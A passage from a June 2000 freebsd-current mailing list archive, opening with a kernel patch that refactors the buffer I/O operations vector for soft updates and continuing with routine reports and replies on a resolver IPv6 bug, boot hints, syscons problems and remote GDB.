OO-like struct buf, is that as long as bwrite(bp) "knows" that the buffer is backed by a disk device, we cannot use the UFS layer on top of a storage manager which isn't based on disk-devices: When UFS modifies a directory inode, it will call bwrite(bp) on the buffer with the data. This would not work if the backing were based on malloc(9) or anonymous swap-backed VM objects for instance. In other words: this is the main reason why we don't have a decent tmpfs in FreeBSD. Instead of just assuming that it works on a disk, bwrite(bp) should do a "bp->b_ops->bwrite(bp)" so that each buffer could have its own private idea of how to write itself, depending on what backing it has. So in order to move bioops closer to become a bp->b_ops, this patch takes two entries out of bioops: the "sync" and the "fsync" items and virtualizes the rest of the elements a bit. The "sync" item is called only from the syncer, and is a call to the softupdates code to do what it needs to do for periodic syncing. The real way of doing that would be to have an event-handler for this since other code could need to be part of the sync trafic, raid5 private parity caches could be one example. I have not done this yet, since currently softupdates is the only client. The fsync item really doesn't belong in the fsync system call, it belongs in ffs_fsync, and has been moved there. To give the right behaviour when SOFTUPDATES is not compiled in, stubs for both of these functions have been added to ffs_softdep_stub.c Finally all the checks to see if the bioops vector is populated has been centralized in in-line functions in thereby paving the road for the global bioops to become bp->b_ops. Comments, reviews, tests please Poul-Henning Index: contrib/softupdates/ffs_softdep.c =================================================================== RCS file: /home/ncvs/src/sys/contrib/softupdates/ffs_softdep.c,v retrieving revision 1.64 diff -u -r1.64 ffs_softdep.c --- contrib/softupdates/ffs_softdep.c 2000/05/26 02:01:59 1.64 +++ contrib/softupdates/ffs_softdep.c 2000/06/14 19:26:46 @@ -222,8 +222,6 @@ softdep_disk_io_initiation, /* io_start */ softdep_disk_write_complete, /* io_complete */ softdep_deallocate_dependencies, /* io_deallocate */ - softdep_fsync, /* io_fsync */ - softdep_process_worklist, /* io_sync */ softdep_move_dependencies, /* io_movedeps */ softdep_count_dependencies, /* io_countdeps */ }; Index: kern/vfs_bio.c =================================================================== RCS file: /home/ncvs/src/sys/kern/vfs_bio.c,v retrieving revision 1.258 diff -u -r1.258 vfs_bio.c --- kern/vfs_bio.c 2000/05/26 02:04:39 1.258 +++ kern/vfs_bio.c 2000/06/14 19:00:56 @@ -616,8 +616,8 @@ newbp->b_flags &= ~B_INVAL; /* move over the dependencies */ - if (LIST_FIRST(&bp->b_dep) != NULL && bioops.io_movedeps) - (*bioops.io_movedeps)(bp, newbp); + if (LIST_FIRST(&bp->b_dep) != NULL) + buf_movedeps(bp, newbp); /* * Initiate write on the copy, release the original to @@ -673,10 +673,10 @@ /* * Process dependencies then return any unfinished ones. */ - if (LIST_FIRST(&bp->b_dep) != NULL && bioops.io_complete) - (*bioops.io_complete)(bp); - if (LIST_FIRST(&bp->b_dep) != NULL && bioops.io_movedeps) - (*bioops.io_movedeps)(bp, origbp); + if (LIST_FIRST(&bp->b_dep) != NULL) + buf_complete(bp); + if (LIST_FIRST(&bp->b_dep) != NULL) + buf_movedeps(bp, origbp); /* * Clear the BX_BKGRDINPROG flag in the original buffer * and awaken it if it is waiting for the write to complete. @@ -939,8 +939,8 @@ * cache the buffer. */ bp->b_flags |= B_INVAL; - if (LIST_FIRST(&bp->b_dep) != NULL && bioops.io_deallocate) - (*bioops.io_deallocate)(bp); + if (LIST_FIRST(&bp->b_dep) != NULL) + buf_deallocate(bp); if (bp->b_flags & B_DELWRI) { --numdirtybuffers; numdirtywakeup(); @@ -1570,8 +1570,8 @@ crfree(bp->b_wcred); bp->b_wcred = NOCRED; } - if (LIST_FIRST(&bp->b_dep) != NULL && bioops.io_deallocate) - (*bioops.io_deallocate)(bp); + if (LIST_FIRST(&bp->b_dep) != NULL) + buf_deallocate(bp); if (bp->b_xflags & BX_BKGRDINPROG) panic("losing buffer 3"); LIST_REMOVE(bp, b_hash); @@ -1848,9 +1848,8 @@ break; } if (LIST_FIRST(&bp->b_dep) != NULL && - bioops.io_countdeps && (bp->b_flags & B_DEFERRED) == 0 && - (*bioops.io_countdeps)(bp, 0)) { + buf_countdeps(bp, 0)) { TAILQ_REMOVE(&bufqueues[QUEUE_DIRTY], bp, b_freelist); TAILQ_INSERT_TAIL(&bufqueues[QUEUE_DIRTY], @@ -2664,8 +2663,8 @@ splx(s); return; } - if (LIST_FIRST(&bp->b_dep) != NULL && bioops.io_complete) - (*bioops.io_complete)(bp); + if (LIST_FIRST(&bp->b_dep) != NULL) + buf_complete(bp); if (bp->b_flags & B_VMIO) { int i, resid; Index: kern/vfs_cluster.c =================================================================== RCS file: /home/ncvs/src/sys/kern/vfs_cluster.c,v retrieving revision 1.98 diff -u -r1.98 vfs_cluster.c --- kern/vfs_cluster.c 2000/05/05 09:58:25 1.98 +++ kern/vfs_cluster.c 2000/06/14 19:01:13 @@ -805,9 +805,8 @@ splx(s); } /* end of code for non-first buffers only */ /* check for latent dependencies to be handled */ - if ((LIST_FIRST(&tbp->b_dep)) != NULL && - bioops.io_start) - (*bioops.io_start)(tbp); + if ((LIST_FIRST(&tbp->b_dep)) != NULL) + buf_start(tbp); /* * If the IO is via the VM then we do some * special VM hackery. (yuck) Index: kern/vfs_subr.c =================================================================== RCS file: /home/ncvs/src/sys/kern/vfs_subr.c,v retrieving revision 1.257 diff -u -r1.257 vfs_subr.c --- kern/vfs_subr.c 2000/05/26 02:04:39 1.257 +++ kern/vfs_subr.c 2000/06/14 19:56:33 @@ -1029,8 +1029,7 @@ /* * Do soft update processing. */ - if (bioops.io_sync) - (*bioops.io_sync)(NULL); + softdep_process_worklist(NULL); /* * The variable rushjob allows the kernel to speed up the Index: kern/vfs_syscalls.c =================================================================== RCS file: /home/ncvs/src/sys/kern/vfs_syscalls.c,v retrieving revision 1.153 diff -u -r1.153 vfs_syscalls.c --- kern/vfs_syscalls.c 2000/05/05 09:58:27 1.153 +++ kern/vfs_syscalls.c 2000/06/14 19:38:24 @@ -2545,10 +2545,7 @@ vn_lock(vp, LK_EXCLUSIVE | LK_RETRY, p); if (vp->v_object) vm_object_page_clean(vp->v_object, 0, 0, 0); - if ((error = VOP_FSYNC(vp, fp->f_cred, MNT_WAIT, p)) == 0 && - vp->v_mount && (vp->v_mount->mnt_flag & MNT_SOFTDEP) && - bioops.io_fsync) - error = (*bioops.io_fsync)(vp); + error = VOP_FSYNC(vp, fp->f_cred, MNT_WAIT, p); VOP_UNLOCK(vp, 0, p); return (error); } Index: miscfs/devfs/devfs_vnops.c =================================================================== RCS file: /home/ncvs/src/sys/miscfs/devfs/devfs_vnops.c,v retrieving revision 1.96 diff -u -r1.96 devfs_vnops.c --- miscfs/devfs/devfs_vnops.c 2000/05/05 09:58:29 1.96 +++ miscfs/devfs/devfs_vnops.c 2000/06/14 19:02:35 @@ -1570,9 +1570,8 @@ return error; - if ((bp->b_iocmd == BIO_WRITE) && - (LIST_FIRST(&bp->b_dep)) != NULL && bioops.io_start) - (*bioops.io_start)(bp); + if ((bp->b_iocmd == BIO_WRITE) && (LIST_FIRST(&bp->b_dep)) != NULL) + buf_start(bp); switch (vp->v_type) { case VCHR: (*vp->v_rdev->si_devsw->d_strategy)(&bp->b_io); Index: miscfs/specfs/spec_vnops.c =================================================================== RCS file: /home/ncvs/src/sys/miscfs/specfs/spec_vnops.c,v retrieving revision 1.138 diff -u -r1.138 spec_vnops.c --- miscfs/specfs/spec_vnops.c 2000/06/12 10:20:18 1.138 +++ miscfs/specfs/spec_vnops.c 2000/06/14 19:02:49 @@ -417,9 +417,8 @@ struct mount *mp; bp = ap->a_bp; - if ((bp->b_iocmd == BIO_WRITE) && - (LIST_FIRST(&bp->b_dep)) != NULL && bioops.io_start) - (*bioops.io_start)(bp); + if ((bp->b_iocmd == BIO_WRITE) && (LIST_FIRST(&bp->b_dep)) != NULL) + buf_start(bp); /* * Collect statistics on synchronous and asynchronous read Index: sys/buf.h =================================================================== RCS file: /home/ncvs/src/sys/sys/buf.h,v retrieving revision 1.103 diff -u -r1.103 buf.h --- sys/buf.h 2000/05/26 02:06:53 1.103 +++ sys/buf.h 2000/06/14 19:26:59 @@ -64,8 +64,6 @@ void (*io_start) __P((struct buf *)); void (*io_complete) __P((struct buf *)); void (*io_deallocate) __P((struct buf *)); - int (*io_fsync) __P((struct vnode *)); - int (*io_sync) __P((struct mount *)); void (*io_movedeps) __P((struct buf *, struct buf *)); int (*io_countdeps) __P((struct buf *, int)); } bioops; @@ -405,6 +403,43 @@ #define BUF_WRITE(bp) VOP_BWRITE((bp)->b_vp, (bp)) #define BUF_STRATEGY(bp) VOP_STRATEGY((bp)->b_vp, (bp)) + +static __inline void +buf_start(struct buf *bp) +{ + if (bioops.io_start) + (*bioops.io_start)(bp); +} + +static __inline void +buf_complete(struct buf *bp) +{ + if (bioops.io_complete) + (*bioops.io_complete)(bp); +} + +static __inline void +buf_deallocate(struct buf *bp) +{ + if (bioops.io_deallocate) + (*bioops.io_deallocate)(bp); +} + +static __inline void +buf_movedeps(struct buf *bp, struct buf *bp2) +{ + if (bioops.io_movedeps) + (*bioops.io_movedeps)(bp, bp2); +} + +static __inline int +buf_countdeps(struct buf *bp, int i) +{ + if (bioops.io_countdeps) + return ((*bioops.io_countdeps)(bp, i)); + else + return (0); +} #endif /* _KERNEL */ Index: sys/mount.h =================================================================== RCS file: /home/ncvs/src/sys/sys/mount.h,v retrieving revision 1.91 diff -u -r1.91 mount.h --- sys/mount.h 2000/05/26 02:06:55 1.91 +++ sys/mount.h 2000/06/14 19:58:22 @@ -447,6 +447,7 @@ int vfs_stdextattrctl __P((struct mount *mp, int cmd, const char *attrname, caddr_t arg, struct proc *p)); +void softdep_process_worklist __P((struct mount *)); #else /* !_KERNEL */ #include Index: ufs/ffs/ffs_softdep_stub.c =================================================================== RCS file: /home/ncvs/src/sys/ufs/ffs/ffs_softdep_stub.c,v retrieving revision 1.8 diff -u -r1.8 ffs_softdep_stub.c --- ufs/ffs/ffs_softdep_stub.c 2000/04/19 14:58:25 1.8 +++ ufs/ffs/ffs_softdep_stub.c 2000/06/14 19:33:11 @@ -254,4 +254,20 @@ return (0); } + +int +softdep_fsync(vp) + struct vnode *vp; /* the "in_core" copy of the inode */ +{ + + return (0); +} + +int +softdep_process_worklist(matchmnt) + struct mount *matchmnt; +{ + return (0); +} + #endif /* SOFTUPDATES not configured in */ Index: ufs/ffs/ffs_vnops.c =================================================================== RCS file: /home/ncvs/src/sys/ufs/ffs/ffs_vnops.c,v retrieving revision 1.66 diff -u -r1.66 ffs_vnops.c --- ufs/ffs/ffs_vnops.c 2000/05/05 09:59:05 1.66 +++ ufs/ffs/ffs_vnops.c 2000/06/14 19:38:13 @@ -175,7 +175,7 @@ continue; if (!wait && LIST_FIRST(&bp->b_dep) != NULL && (bp->b_flags & B_DEFERRED) == 0 && - bioops.io_countdeps && (*bioops.io_countdeps)(bp, 0)) { + buf_countdeps(bp, 0)) { bp->b_flags |= B_DEFERRED; continue; } @@ -278,5 +278,8 @@ } } splx(s); - return (UFS_UPDATE(vp, wait)); + error = UFS_UPDATE(vp, wait); + if (error == 0 && vp->v_mount && (vp->v_mount->mnt_flag & MNT_SOFTDEP)) + error = softdep_fsync(vp); + return (error); } -- Poul-Henning Kamp | UNIX since Zilog Zeus 3.20 phk@FreeBSD.ORG | TCP/IP since RFC 956 FreeBSD coreteam member | BSD since 4.3-tahoe Never attribute to malice what can adequately be explained by incompetence. To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Wed Jun 14 13:34:32 2000 Delivered-To: freebsd-current@freebsd.org Received: by hub.freebsd.org (Postfix, from userid 542) id 91E3D37C245; Wed, 14 Jun 2000 13:34:29 -0700 (PDT) Date: Wed, 14 Jun 2000 13:34:29 -0700 From: "Andrey A. Chernov" To: current@freebsd.org Cc: brian@freebsd.org Subject: Re: ppp is broken now Message-ID: <20000614133429.A34878@freebsd.org> References: <20000614184607.A262@nagual.pp.ru> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Mailer: Mutt 0.95.4i In-Reply-To: <20000614184607.A262@nagual.pp.ru>; from ache@nagual.pp.ru on Wed, Jun 14, 2000 at 06:46:07PM +0400 Organization: Biomechanoid Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG On Wed, Jun 14, 2000 at 06:46:07PM +0400, Andrey A. Chernov wrote: > Fresh -current, "ppp -auto system" not react on outgoing packets and not > dial, it seems they routed to dead end. Direct "dial system" command > dials in, but packets not routed too. Restoring ppp from 8 Jun fix it. Forget it, it is not ppp problem at all, it is resolver damaged by IPV6 support, see my next message about res_init.c -- Andrey A. Chernov http://ache.pp.ru/ To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Wed Jun 14 13:44: 9 2000 Delivered-To: freebsd-current@freebsd.org Received: from peace.mahoroba.org (peace.calm.imasy.or.jp [202.227.26.34]) by hub.freebsd.org (Postfix) with ESMTP id 10A4B37B732; Wed, 14 Jun 2000 13:44:03 -0700 (PDT) (envelope-from ume@mahoroba.org) Received: from localhost (IDENT:NHhpxQPpKOICdcofI/OGdEtrPGO4slIhjWcJdl7Ot1krbs9c8Thd882k41PtOjF8@localhost [::1]) (authenticated) by peace.mahoroba.org (8.10.2/3.7W-peace) with ESMTP id e5EKhbl00461; Thu, 15 Jun 2000 05:43:37 +0900 (JST) (envelope-from ume@mahoroba.org) Date: Thu, 15 Jun 2000 05:43:33 +0900 (JST) Message-Id: <20000615.054333.74758158.ume@mahoroba.org> To: ache@freebsd.org Cc: current@freebsd.org Subject: Re: res_init.c 1.20 broke non-INET6 kernel! From: Hajimu UMEMOTO (=?iso-2022-jp?B?GyRCR19LXBsoQiAbJEJIJRsoQg==?=) In-Reply-To: <20000614122148.A14919@freebsd.org> References: <20000614122148.A14919@freebsd.org> X-Mailer: xcite1.20> Mew version 1.95b38 on Emacs 20.6 / Mule 4.0 =?iso-2022-jp?B?KBskQjJWMWMbKEIp?= X-PGP-Public-Key: http://www.imasy.org/~ume/publickey.asc X-PGP-Fingerprint: 6B 0C 53 FC 5D D0 37 91 05 D0 B3 EF 36 9B 6A BC X-URL: http://www.imasy.org/~ume/ X-OS: FreeBSD 5.0-CURRENT Mime-Version: 1.0 Content-Type: Text/Plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG >>>>> On Wed, 14 Jun 2000 12:21:48 -0700 >>>>> "Andrey A. Chernov" said: ache> All nameservers are initialized to AF_INET6 which cause socket() to return -1 ache> in non-INET6 kernel. ache> All names lookups fails as result. Oops, sorry. I'll backout previous commit right now. ache> I think IPV6 support is optional, isn't? Yes, of couece. It's just my mistake. Sorry again. -- Hajimu UMEMOTO @ Internet Mutual Aid Society Yokohama, Japan ume@mahoroba.org ume@bisd.hitachi.co.jp ume@FreeBSD.org http://www.imasy.org/~ume/ To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Wed Jun 14 14: 3:19 2000 Delivered-To: freebsd-current@freebsd.org Received: from peach.ocn.ne.jp (peach.ocn.ne.jp [210.145.254.87]) by hub.freebsd.org (Postfix) with ESMTP id 3621937C2D7 for ; Wed, 14 Jun 2000 14:03:06 -0700 (PDT) (envelope-from dcs@newsguy.com) Received: from newsguy.com (p14-dn03kiryunisiki.gunma.ocn.ne.jp [210.232.224.143]) by peach.ocn.ne.jp (8.9.1a/OCN/) with ESMTP id GAA06623; Thu, 15 Jun 2000 06:02:50 +0900 (JST) Message-ID: <3947F0AD.2C042104@newsguy.com> Date: Thu, 15 Jun 2000 05:53:01 +0900 From: "Daniel C. Sobral" X-Mailer: Mozilla 4.7 [en] (Win98; I) X-Accept-Language: en,pt-BR,ja MIME-Version: 1.0 To: Peter Wemm Cc: mjacob@feral.com, current@FreeBSD.ORG Subject: Re: HEADS UP!: config changes... References: <20000613234213.A9A211CD7@overcee.netplex.com.au> Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG Peter Wemm wrote: > > The only change in /boot is /boot/defaults/loader.conf: > > diff -r1.26 -r1.27 > 24c24 > < loader_conf_files="/boot/loader.conf /boot/loader.conf.local" > --- > > loader_conf_files="/boot/device.hints /boot/loader.conf /boot/loader.conf.local" > > ie: /boot/device.hints is searched for. > > If you override loader_conf_files in your own loader.conf, you will need to > take care of it (or use static hints). loader_conf_files is not overridable. If that variable has a new value after a conf file has been read, it will process it recursively, an restore the original value afterwards. -- Daniel C. Sobral (8-DCS) dcs@newsguy.com dcs@freebsd.org capo@the.great.underground.bsdconpiracy.org "He is my minion, so he doesn't need a name." To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Wed Jun 14 14: 4:34 2000 Delivered-To: freebsd-current@freebsd.org Received: from mail.surf1.de (mail.surf1.de [194.25.165.21]) by hub.freebsd.org (Postfix) with ESMTP id 0A32537B537 for ; Wed, 14 Jun 2000 14:04:26 -0700 (PDT) (envelope-from alex@big.endian.de) Received: from neutron.cichlids.com (p3E9D38D6.dip0.t-ipconnect.de [62.157.56.214]) by mail.surf1.de (8.9.3/8.9.3) with ESMTP id XAA10597; Wed, 14 Jun 2000 23:04:02 +0200 Received: from cichlids.cichlids.com (cichlids.cichlids.com [192.168.0.10]) by neutron.cichlids.com (Postfix) with ESMTP id 97000AC27; Wed, 14 Jun 2000 23:04:24 +0200 (CEST) Received: by cichlids.cichlids.com (Postfix, from userid 1001) id 6CE8F14A69; Wed, 14 Jun 2000 23:04:11 +0200 (CEST) Date: Wed, 14 Jun 2000 23:04:11 +0200 From: Alexander Langer To: Peter Wemm Cc: current@FreeBSD.ORG Subject: Re: HEADS UP!: config changes... Message-ID: <20000614230411.A471@cichlids.cichlids.com> Mail-Followup-To: Peter Wemm , current@FreeBSD.ORG References: <20000613231829.2F4BF1CD7@overcee.netplex.com.au> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Mailer: Mutt 1.0.1i In-Reply-To: <20000613231829.2F4BF1CD7@overcee.netplex.com.au>; from peter@netplex.com.au on Tue, Jun 13, 2000 at 04:18:29PM -0700 X-PGP-Fingerprint: 44 28 CA 4C 46 5B D3 A8 A8 E3 BA F3 4E 60 7D 7F X-PGP-at: finger alex@big.endian.de X-Verwirrung: Dieser Header dient der allgemeinen Verwirrung. Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG Hello Peter! I just have things running. I see that the kernel boots _much_ faster now. I don't know, if you wanted that or if this is a nice side-effect. However, a few comments, which might be of interest. Some of those are probably planned by you already. a) the device.hints file: It will probably be copied to /sys/compile by config(8) in future and installed by make install :) Good. b) Setting apm 0 at to nexus (string) Setting apm 0 disabled to 1 (int) Setting apm 0 flags to 32 (int) ... Can this be moved to verbose boot only? c) is much more interesting: With the new kernel my syscons scrolling stopped working. However, this could also be jake's fault, I'll ask him. Alex To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Wed Jun 14 14: 8: 6 2000 Delivered-To: freebsd-current@freebsd.org Received: from mail.surf1.de (mail.surf1.de [194.25.165.21]) by hub.freebsd.org (Postfix) with ESMTP id 484F637B664 for ; Wed, 14 Jun 2000 14:08:03 -0700 (PDT) (envelope-from alex@big.endian.de) Received: from neutron.cichlids.com (p3E9D38D6.dip0.t-ipconnect.de [62.157.56.214]) by mail.surf1.de (8.9.3/8.9.3) with ESMTP id XAA11876 for ; Wed, 14 Jun 2000 23:07:50 +0200 Received: from cichlids.cichlids.com (cichlids.cichlids.com [192.168.0.10]) by neutron.cichlids.com (Postfix) with ESMTP id 3FB30AC27 for ; Wed, 14 Jun 2000 23:08:12 +0200 (CEST) Received: by cichlids.cichlids.com (Postfix, from userid 1001) id 218C014A69; Wed, 14 Jun 2000 23:08:01 +0200 (CEST) Date: Wed, 14 Jun 2000 23:08:01 +0200 From: Alexander Langer To: current@freebsd.org Subject: syscons scrolling broken Message-ID: <20000614230801.B471@cichlids.cichlids.com> Mail-Followup-To: current@freebsd.org Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Mailer: Mutt 1.0.1i X-PGP-Fingerprint: 44 28 CA 4C 46 5B D3 A8 A8 E3 BA F3 4E 60 7D 7F X-PGP-at: finger alex@big.endian.de X-Verwirrung: Dieser Header dient der allgemeinen Verwirrung. Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG Hello! My old kernel is from May 25th. Syscons scrolling works (scroll-lock, scrolling with page up/down). With my new kernel from today: FreeBSD cichlids.cichlids.com 5.0-CURRENT FreeBSD 5.0-CURRENT #0: Wed Jun 14 22:25:49 CEST 2000 alex@cichlids.cichlids.com:/usr/src/sys/compile/cichlids i386 it does not. It seems, as if screen output is still being deactivated, but scrolling does just not work. Anyone else? Alex -- cat: /home/alex/.sig: No such file or directory To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Wed Jun 14 15:41:29 2000 Delivered-To: freebsd-current@freebsd.org Received: from freebie.lemis.com (freebie.lemis.com [192.109.197.137]) by hub.freebsd.org (Postfix) with ESMTP id 1633137B55C for ; Wed, 14 Jun 2000 15:41:25 -0700 (PDT) (envelope-from grog@freebie.lemis.com) Received: (from grog@localhost) by sydney.worldwide.lemis.com (8.9.3/8.9.3) id OAA00351; Wed, 14 Jun 2000 14:52:36 -0700 (PDT) (envelope-from grog) Date: Wed, 14 Jun 2000 14:52:36 -0700 From: Greg Lehey To: "Justin T. Gibbs" Cc: current@FreeBSD.ORG Subject: Re: Remote GDB *still* buggy... Message-ID: <20000614145236.A285@sydney.worldwide.lemis.com> References: <20000614111059.B7525@sydney.worldwide.lemis.com> <200006141827.MAA53158@pluto.plutotech.com> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Mailer: Mutt 1.0pre2i In-Reply-To: <200006141827.MAA53158@pluto.plutotech.com> Organization: LEMIS, PO Box 460, Echunga SA 5153, Australia Phone: +61-8-8388-8286 Fax: +61-8-8388-8725 Mobile: +61-418-838-708 WWW-Home-Page: http://www.lemis.com/~grog X-PGP-Fingerprint: 6B 7B C3 8C 61 CD 54 AF 13 24 52 F8 6D A4 95 EF Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG On Wednesday, 14 June 2000 at 12:27:27 -0600, Justin T. Gibbs wrote: >> On Wednesday, 14 June 2000 at 11:05:41 -0600, Justin T. Gibbs wrote: >>> I still can't get remote GDB to work correctly in a 5.0-current >>> environment at speeds greater than 9600bps. Is anyone else >>> experiencing similar results? I thought that grog had fixed this... >> >> So did I. Are you just getting hangs? What kind of UART? > > On which side of the connection? Debug machine. > I'm using my Thinkpad 770X as the GDB host and it says: > > sio0 at port 0x3f8-0x3ff irq 4 flags 0x10 on isa0 > sio0: type 16550A > > On the machine I'm trying to debug, a Dell Precision 410, I have: > sio1 at port 0x2f8-0x2ff irq 3 on isa0 > sio1: type 16550A > > I suppose I could rip open the case to try and find what part they > put on the motherboard for the 16550 support, but I'm had similar > results with other machines. Hmm. > In GDB, you see some message about "malformed messages" and you > can't seem to do anything. The other odd part is that speeds up to > even 115200 work just fine up until the point that interrupt > services are enabled. Then your hosed. That's pretty much the symptoms I had been seeing until the fix. I don't understand why you're still seeing them; they were gone in a flash on my system. Are you sure you're using this revision? /* $FreeBSD: src/sys/i386/i386/i386-gdbstub.c,v 1.15 2000/05/18 02:29:23 grog Exp $ */ If so, try changing the two spltty()s to splhigh() and see if that makes the problem go away. Greg -- Finger grog@lemis.com for PGP public key See complete headers for address and phone numbers To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Wed Jun 14 15:41:35 2000 Delivered-To: freebsd-current@freebsd.org Received: from freebie.lemis.com (freebie.lemis.com [192.109.197.137]) by hub.freebsd.org (Postfix) with ESMTP id 23DB837B65A for ; Wed, 14 Jun 2000 15:41:29 -0700 (PDT) (envelope-from grog@freebie.lemis.com) Received: (from grog@localhost) by sydney.worldwide.lemis.com (8.9.3/8.9.3) id LAA07795; Wed, 14 Jun 2000 11:11:00 -0700 (PDT) (envelope-from grog) Date: Wed, 14 Jun 2000 11:11:00 -0700 From: Greg Lehey To: "Justin T. Gibbs" Cc: current@FreeBSD.ORG Subject: Re: Remote GDB *still* buggy... Message-ID: <20000614111059.B7525@sydney.worldwide.lemis.com> References: <200006141705.LAA51258@pluto.plutotech.com> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Mailer: Mutt 1.0pre2i In-Reply-To: <200006141705.LAA51258@pluto.plutotech.com> Organization: LEMIS, PO Box 460, Echunga SA 5153, Australia Phone: +61-8-8388-8286 Fax: +61-8-8388-8725 Mobile: +61-418-838-708 WWW-Home-Page: http://www.lemis.com/~grog X-PGP-Fingerprint: 6B 7B C3 8C 61 CD 54 AF 13 24 52 F8 6D A4 95 EF Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG On Wednesday, 14 June 2000 at 11:05:41 -0600, Justin T. Gibbs wrote: > I still can't get remote GDB to work correctly in a 5.0-current > environment at speeds greater than 9600bps. Is anyone else > experiencing similar results? I thought that grog had fixed this... So did I. Are you just getting hangs? What kind of UART? Greg -- Finger grog@lemis.com for PGP public key See complete headers for address and phone numbers To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Wed Jun 14 16:56: 1 2000 Delivered-To: freebsd-current@freebsd.org Received: from fw.wintelcom.net (ns1.wintelcom.net [209.1.153.20]) by hub.freebsd.org (Postfix) with ESMTP id 584E037B56B for ; Wed, 14 Jun 2000 16:55:52 -0700 (PDT) (envelope-from bright@fw.wintelcom.net) Received: (from bright@localhost) by fw.wintelcom.net (8.10.0/8.10.0) id e5ENtpL06318 for current@freebsd.org; Wed, 14 Jun 2000 16:55:51 -0700 (PDT) Date: Wed, 14 Jun 2000 16:55:51 -0700 From: Alfred Perlstein To: current@freebsd.org Subject: syscons rebooting when going to 80x50 Message-ID: <20000614165551.F18462@fw.wintelcom.net> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.2i Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG After taking the patches for config and booting my box reboots because I have: #allscreens_flags="-m on 80x50" #saver="logo" #font8x8="cp437-8x8" #font8x14="cp437-8x14" #font8x16="cp437-8x16" enabled in my rc.conf, a kernel from ~2 days ago is fine with this. thanks, -Alfred To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Wed Jun 14 17: 0:12 2000 Delivered-To: freebsd-current@freebsd.org Received: from outmail.utsunomiya-u.ac.jp (outmail.utsunomiya-u.ac.jp [160.12.196.3]) by hub.freebsd.org (Postfix) with ESMTP id F18AC37C25D for ; Wed, 14 Jun 2000 17:00:09 -0700 (PDT) (envelope-from yokota@zodiac.mech.utsunomiya-u.ac.jp) Received: from zodiac.mech.utsunomiya-u.ac.jp (IDENT:lpDN1goikcSBS/d5ZFyZk7BJxZvuAzG8@zodiac.mech.utsunomiya-u.ac.jp [160.12.42.1]) by outmail.utsunomiya-u.ac.jp (8.9.3/3.7Wpl2) with ESMTP id JAA09914; Thu, 15 Jun 2000 09:00:04 +0900 (JST) Received: from zodiac.mech.utsunomiya-u.ac.jp (IDENT:UBMDwEE7de2+EvWH29WXoI7A49RwujKn@zodiac.mech.utsunomiya-u.ac.jp [160.12.42.1]) by zodiac.mech.utsunomiya-u.ac.jp (8.9.3+3.2W/3.7W/zodiac-May2000) with ESMTP id JAA21790; Thu, 15 Jun 2000 09:06:53 +0900 (JST) Message-Id: <200006150006.JAA21790@zodiac.mech.utsunomiya-u.ac.jp> To: Alfred Perlstein Cc: current@freebsd.org, yokota@zodiac.mech.utsunomiya-u.ac.jp Reply-To: kazutaka.yokota@nifty.com Subject: Re: syscons rebooting when going to 80x50 In-reply-to: Your message of "Wed, 14 Jun 2000 16:55:51 MST." <20000614165551.F18462@fw.wintelcom.net> References: <20000614165551.F18462@fw.wintelcom.net> Date: Thu, 15 Jun 2000 09:06:52 +0900 From: Kazutaka YOKOTA Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG >After taking the patches for config and booting my box reboots Which patch is it? Kazu >because I have: > >#allscreens_flags="-m on 80x50" >#saver="logo" >#font8x8="cp437-8x8" >#font8x14="cp437-8x14" >#font8x16="cp437-8x16" > >enabled in my rc.conf, a kernel from ~2 days ago is fine with this. To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Wed Jun 14 17:16: 5 2000 Delivered-To: freebsd-current@freebsd.org Received: from fw.wintelcom.net (ns1.wintelcom.net [209.1.153.20]) by hub.freebsd.org (Postfix) with ESMTP id 4BEC937B87A for ; Wed, 14 Jun 2000 17:16:02 -0700 (PDT) (envelope-from bright@fw.wintelcom.net) Received: (from bright@localhost) by fw.wintelcom.net (8.10.0/8.10.0) id e5F0FxH06863; Wed, 14 Jun 2000 17:15:59 -0700 (PDT) Date: Wed, 14 Jun 2000 17:15:59 -0700 From: Alfred Perlstein To: kazutaka.yokota@nifty.com Cc: current@freebsd.org, yokota@zodiac.mech.utsunomiya-u.ac.jp Subject: Re: syscons rebooting when going to 80x50 Message-ID: <20000614171559.G18462@fw.wintelcom.net> References: <20000614165551.F18462@fw.wintelcom.net> <200006150006.JAA21790@zodiac.mech.utsunomiya-u.ac.jp> 